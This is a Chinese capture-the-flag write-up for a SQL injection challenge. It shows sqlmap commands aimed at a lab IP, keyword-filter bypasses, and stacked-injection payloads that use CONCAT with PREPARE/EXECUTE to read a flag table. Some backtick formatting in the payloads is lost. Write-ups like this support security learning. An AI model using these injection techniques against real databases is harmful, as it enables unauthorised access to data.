废话
根据题目表述确定为sql注入,页面有一个输入框,好像只能输入1和2,输入别的就变成1了(好像没啥用)
输入1’ ,报错了![QP7LM}JF}WG15[~)LAZHWL.png
确定是单引号字符型注入,看到这里直接sqlmap跑一下,sqlmap -u “http://220.249.52.133:44005/?inject=1“ —dbs —batch
这题太简单了,接着扫描数据表 sqlmap -u “http://220.249.52.133:44005/?inject=1“ -supersqli —tables —batch
。。。扫不出来。-1’ union select group_concat(table_name),1 from information_schema.tables where table_schema =database() —+
网上找了一个paylod,试了一下,发现好多关键字被过滤了,
以前学过可以利用注释符来绕过正则,输入sel//ect试一下成功了,再试一下payload ,里面的.用url编码%2e绕过
-1’ union sel//ect group_concat(table_name),1 from information_schema%2etables wh/**/ere table_schema =database() —+
发现不行…
网上搜一下select被过滤,直解搜到了本题wp。
本题思路为堆叠注入,我们可以用‘ ;’来分割sql语句,这些sql语句将会被分别执行。
1’; show databases;—+ #爆数据库得到一个库名supersqli 1’; show tables;—+ #爆表,得到2个表—-1919810931114514,words 1’;use supersqli;show columns from
1919810931114514
;—+ 查看数字表中有什么字段,发现flag。这里的表名被大键盘1左边的,不是单引号,在sql语句命令行中可以被
包裹,也可以什么都不加,这里只能被`包裹
1’;use supersqli;set @sql=concat(‘s’,’elect
flag
from1919810931114514
‘);PREPARE stmt1 FROM @sql;EXECUTE stmt1;—+ 这里的prepare好像也被过滤了,需要大写绕过,表名必须被`包裹,字段名不需要 use supersqli;进入supersqli数据库对表操作 set @sql=concat('s','elect
flagfrom
1919810931114514`’); 因为select 被过滤,所以用concat合并被分开的sql语句,set语句为变量赋值,变量要用@开头 PREPARE stmt1 FROM @sql; 将@sql变量存储的sql语句作为预备语句保存到stmt1中。 EXECUTE stmt1; 和prepare 一起使用,用于执行stmt1存储的语句。 drop prepare stmt1表示产出预备语句,也和prepare配合使用。